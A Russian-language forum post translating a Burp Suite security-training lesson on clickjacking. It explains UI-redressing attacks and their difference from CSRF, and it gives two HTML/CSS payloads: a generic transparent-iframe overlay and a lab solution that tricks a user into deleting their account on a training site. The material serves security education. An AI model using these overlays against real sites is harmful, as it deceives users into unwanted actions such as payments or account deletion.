Що нового?

Article [16] Burp Suite. Clickjacking (UI redressing)

Vander 0

Vander

Команда форуму
10 Лис 2019
465
1,153
1653920228549.png

В этом разделе мы объясним, что такое clickjacking, опишем распространенные примеры атак кликджекинга и обсудим, как защититься от этих атак.

Что такое clickjacking?

Clickjacking - это атака на основе интерфейса, при которой пользователя обманом заставляют щелкнуть по полезному контенту на скрытом веб-сайте, щелкнув какой-либо другой контент на фиктивном веб-сайте. Рассмотрим следующий пример:

Веб-пользователь заходит на веб-сайт-приманку (возможно, это ссылка, предоставленная по электронной почте) и нажимает кнопку, чтобы выиграть приз.

По незнанию он были обманут злоумышленником, так как на самом деле он нажал альтернативную скрытую кнопку, что привело к оплате счета на другом сайте. Это пример атаки кликджекинга. Этот метод зависит от включения невидимой веб-страницы (или нескольких страниц), содержащей кнопку или скрытую ссылку, скажем, внутри iframe.

Кадр iframe накладывается поверх предполагаемого содержимого веб-страницы-приманки пользователя. Эта атака отличается от атаки CSRF тем, что от пользователя требуется выполнить действие, такое как нажатие кнопки, тогда как атака CSRF зависит от подделки всего запроса без ведома или ввода пользователя.

1653920726812.png

Защита от CSRF-атак часто обеспечивается с помощью токена CSRF: одноразового номера для конкретного сеанса или одноразового номера. Атаки Clickjacking не нейтрализуются токеном CSRF, поскольку целевой сеанс устанавливается с контентом, загруженным с подлинного веб-сайта, и все запросы выполняются в домене. Токены CSRF помещаются в запросы и передаются на сервер как часть обычного сеанса. Отличие от обычного пользовательского сеанса заключается в том, что процесс происходит внутри скрытого iframe.

Как построить базовую атаку clickjacking?

Атаки Clickjacking используют CSS для создания слоев и управления ими. Злоумышленник включает целевой веб-сайт в виде слоя iframe, наложенного на веб-сайт-приманку. Пример использования тега стиля и параметров выглядит следующим образом:

HTML:
<head>
    <style>
        #target_website {
            position:relative;
            width:128px;
            height:128px;
            opacity:0.00001;
            z-index:2;
            }
        #decoy_website {
            position:absolute;
            width:300px;
            height:400px;
            z-index:1;
            }
    </style>
</head>
...
<body>
    <div id="decoy_website">
    ...decoy web content here...
    </div>
    <iframe id="target_website" src="https://vulnerable-website.com">
    </iframe>
</body>
iframe целевого веб-сайта размещается в браузере таким образом, чтобы обеспечить точное перекрытие целевого действия с веб-сайтом-приманкой с использованием соответствующих значений ширины и высоты положения.

Абсолютные и относительные значения положения используются для того, чтобы целевой веб-сайт точно перекрывал обманку независимо от размера экрана, типа браузера и платформы. Z-индекс определяет порядок размещения слоев iframe и веб-сайта. Значение непрозрачности определяется как 0,0 (или близко к 0,0), чтобы содержимое iframe было прозрачным для пользователя.

Защита от кликджекинга в браузере может применять обнаружение прозрачности iframe на основе порогового значения (например, Chrome версии 76 включает это поведение, а Firefox — нет). Злоумышленник выбирает значения непрозрачности таким образом, чтобы желаемый эффект был достигнут без срабатывания защитных действий.

Практический пример: Basic clickjacking with CSRF token protection.

Эта лабораторная работа содержит функцию входа в систему и кнопку удаления учетной записи, защищенную токеном CSRF. Пользователь будет нажимать на элементы, которые отображают слово «Click» на веб-сайте-приманке.

Чтобы решить лабораторную задачу, мы создадим некоторый HTML-код, который обрамляет страницу учетной записи и обманывает пользователя, заставляя его удалить свою учетную запись.

HTML:
<style>
    iframe {
        position:relative;
        width: 900;
        height: 600;
        opacity: 0.0001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:495;
        left:68;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://ac8e1fd71fc81682c00a2116009900e5.web-security-academy.net/my-account"></iframe>
Спасибо за внимание, материал подготовлен специаль но для protey.net
 
Угорі Унизу